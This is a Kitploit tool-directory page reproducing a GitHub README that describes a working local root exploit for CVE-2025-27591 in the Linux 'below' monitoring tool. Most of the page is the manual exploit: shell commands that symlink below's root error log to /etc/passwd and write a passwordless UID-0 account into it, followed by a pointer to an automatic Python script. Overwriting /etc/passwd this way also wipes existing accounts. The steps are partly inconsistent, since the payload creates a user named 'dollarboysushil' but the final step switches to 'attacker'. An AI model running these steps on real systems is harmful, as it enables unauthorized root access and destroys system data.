Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Linux-Privilege-Escalation-CVE-2025-27591 — CVE-2025-27591 is a known privilege escalation vulnerability in the Below service (version < v0.9.0) | Kitploit
Tools/GitHubGitHub/dollarboysushil/linux-privilege-escalation-cve-2025-27591
Privilege EscalationVulnerability AnalysisExploitationPost-ExploitationPenetration TestingRed Teaming
GitHubdollarboysushil/linux-privilege-escalation-cve-2025-27591

Linux-Privilege-Escalation-CVE-2025-27591

CVE-2025-27591 is a known privilege escalation vulnerability in the Below service (version < v0.9.0)

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
7231 year agoNot yet reviewed

CVE-2025-27591 - Privilege Escalation via Writable Symlink in below

Summary

This is a simple exploit for CVE-2025-27591, a local privilege escalation vulnerability in the below Linux system monitoring tool. The vulnerability affects versions prior to v0.9.0 and stems from incorrect permission assignments in the system. The issue was discovered in January 2025 and publicly disclosed on March 12, 2025 (SecurityOnline, OpenWall). When below is run with sudo, it may log errors into a world-writable directory (/var/log/below), allowing attackers to symlink a log file to sensitive targets like /etc/passwd.

By exploiting this, an unprivileged user with sudo access to below can escalate privileges to root.


Vulnerability Details

  • CVE ID: CVE-2025-27591
  • Vulnerable Tool: below
  • Affected Feature: Logging via below record
  • Vulnerable Path: /var/log/below/error_root.log
  • Attack Prerequisites:
    • The directory /var/log/below is world-writable
    • The attacker can run sudo /usr/bin/below record without a password

Exploit Steps (Manual)

✅ Step 1: Verify world-writable log directory You should see:

root@kitploit:~
drwxrwxrwx 2 root root 4096 ... /var/log/below

alt text

✅ Step 2: Remove any existing error_root.log

root@kitploit:~
rm -f /var/log/below/error_root.log

✅ Step 3: Create a symlink to /etc/passwd

root@kitploit:~
ln -s /etc/passwd /var/log/below/error_root.log

then check using

root@kitploit:~
ls -la /var/log/below/error_root.log
# should show: error_root.log -> /etc/passwd

alt text

✅ Step 4: Create a payload file This will add a new root user attacker with no password:

root@kitploit:~
echo 'dollarboysushil::0:0:dollarboysusil:/root:/bin/bash' > /tmp/payload

file structure

root@kitploit:~
username:password:UID:GID:comment(home/full name):home_directory:shell

key thing here is, UID and GUID we are setting UID and GUID to 0 making it user a root user and Group ID = root group alt text

✅ Step 5: Trigger log write as root This is the core of the exploit.

root@kitploit:~
sudo /usr/bin/below record

This command is expected to fail or timeout — but it will try to write error logs to /var/log/below/error_root.log, which is actually /etc/passwd. 💡 In some cases, this alone may corrupt /etc/passwd — so we overwrite it fully next.

✅ Step 6: Overwrite /etc/passwd via symlink

root@kitploit:~
cp /tmp/payload /var/log/below/error_root.log

alt text

✅ Step 7: Become root

root@kitploit:~
su attacker

You'll drop into a root shell, no password needed. alt text

Exploit Steps (Automatic)

root@kitploit:~
python3 dbs_exploit.py

alt text

Download Tool